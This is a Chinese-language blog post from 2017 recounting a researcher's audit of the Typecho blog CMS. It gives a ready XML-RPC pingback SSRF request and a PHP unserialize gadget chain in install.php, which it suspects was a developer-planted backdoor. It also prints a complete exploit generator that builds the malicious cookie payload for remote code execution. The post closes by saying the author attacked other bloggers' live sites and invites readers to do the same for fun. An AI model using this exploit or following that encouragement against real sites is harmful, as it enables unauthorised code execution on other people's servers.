title: typecho 事件始末
date: 2017-10-13
categories: web
仓促成文,睡觉。
打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码,我十一在家陪妹子实在是没事干,就抽了个晚上审了一下typecho,首先发现的一个洞是一个ssrf,由于我手贱打了一下xxxx一位老铁的博客,被他waf抓下来了(打码打码打码打码打码打码打码打码打码打码打码打码,可能临时写的针对性waf),然后今天就被放出来了。。。。这个不重要,先放payload出来,没啥好分析的:
POST /index.php/action/xmlrpc HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://xxxxxx/</string></value></param>
</params></methodCall>
然后昨天的时候,tomato师父说,打码打码打码打码打码打码打码打码打码打码打码打码打码打码。我觉得这个也不是不能搞,并且我十一审代码的时候,发现了代码中有处极其奇怪的地方,但是由于不能在打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码,发现这个问题可能可以利用,就深入看了眼,没想到追查出一个他们核心开发者在其中放置的后门。
install.php在安装后不会默认删除,我们查看其中的逻辑分支会看到这样一段代码:
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
......
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
......
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
这段代码只要你设置了正确的referer,然后加上一个finish参数就可以进入到这个分支中,他会直接反序列化cookie中传入的一个值,然后进行一些db初始化操作,但是这个初始化操作实际上没有任何一丁点作用,所以这里有这段代码本身就非常奇怪,但是当时分析的时候我没想这么多,既然这里可以直接反序列化我们的输入,我们就看下能否制造一个rop链出来,达到一些有危害的操作。
我们首先进入Typecho_Db的构造函数看一眼他会对$config做什么处理:
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
我们发现第一个参数经过了拼接,所以会自动调用 __tostring
这个魔术方法,然后我们找一些含有__tostring
的类,这里我们找到class Typecho_Feed
他的__tostring
方法有些复杂,但是不难从中看出他在358行,执行了这样一段代码:
<name>' . $item['author']->screenName . '</name>
其中$item是我们可以通过对象注入直接控制的。
那么从这行代码出发,我们进而就可以调用__get
这个魔术方法,继续寻找含有__get
的gadget,我们找到了class Typecho_Request
他的__get
方法会调用自身的 get 方法:
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
get方法在为$value赋值并检查其类型后,会调用自身_applyFilter
方法,然后继续往深处跟:
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
在_applyFilter
方法中我们最终发现了一个可以代码执行的地方:
call_user_func($filter, $value);
此处的两个参数都是我们可以控制的,这里我们的rop已经初步构造完成。
在 install.php 的开头部分调用了程序调用了 ob_start(); ,而我们的对象注入操作必定会触发代码中定义的 exception:
public static function exceptionHandle(Exception $exception)
{
@ob_end_clean();
if (defined('__TYPECHO_DEBUG__')) {
echo '<h1>' . $exception->getMessage() . '</h1>';
echo nl2br($exception->__toString());
} else {
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}
exit;
}
这样他会在处理异常时调用ob_end_clean,这样我们就算执行了代码,也无法拿到输出。
注意,最后调用call_user_func
的时候,是一个循环,我们在一次运行中去调用多个函数,甚至实例的某个方法,因为他没有限制传入的$filter是不是一个数组。这样我们只要找到一个类方法,其中含有exit,那么就可以直接让程序退出并输出缓冲区中的内容。这样的类很多,这里我选择了Typecho_Response
的redirect
方法,这样经过4个gadget,我们的exp基本可以通杀了(其实还可以再加两个绕gadget过更多限制,这里留给大家研究)。
<?php
class Typecho_Response{}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName']=-1;
$this->_filter[0]='phpinfo';
$x = new Typecho_Response;
$this->_filter[1]=array($x,'redirect' );
}
}
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct(){
$this->_type=self::RSS2;
$item['link']='1';
$item['title']='2';
$item['date']=1507720298;
$item['author']= new Typecho_Request();
$this->_items[0]=$item;
}
}
$x=new Typecho_Feed();
$a=array(
'host' => 'localhost',
'user' => 'root',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter'=>$x,
'prefix'=>'typecho_'
);
echo serialize($a);
echo "\n";
echo urlencode(base64_encode(serialize($a)));
?>
写完exp后,我回过头去查看最开始的漏洞入口,我发现这段代码其实放在这里没有任何合理性,尽管他的代码风格和下面的很像,但是他在这里起不到任何作用,然后ph师父说,typecho有github维护,然后我们就去查了他的commit记录:
commit 23b87aeb ,祁宁在 2014-04-08 22:43:32 点提交,这里我俩就开始疑惑,既然14年就有这段代码,那为啥ph师父的旧版本上没有,新版本上反而有了呢,我们看了下这个commit的详情:
我们发现 祁宁 其实就是 joyqi,而joyqi是typecho的核心开发者,他把这段代码在 2014-04-08 写好后直接提交在了master中,查看 v0.9-14.5.25 的releases,其中已经包含了这段代码,也就是说,这段代码形似后门的代码由核心开发者提交后,存在了三年半的时间,都没有任何人发现。。。。
那么究竟是谁添加的这段鸡儿用没有,但是谁都看不出来的代码呢。。。。。可能是14年的时候 joyqi 对账号被人黑掉了吧,也或许,这真的是开发者的一时手滑。细思恐极。
圈内有几位知名的黑客大佬的博客是用typecho的,打了一下,还是可以搞的,大家也可以打一打乐呵一下。
大哥抽烟.jpg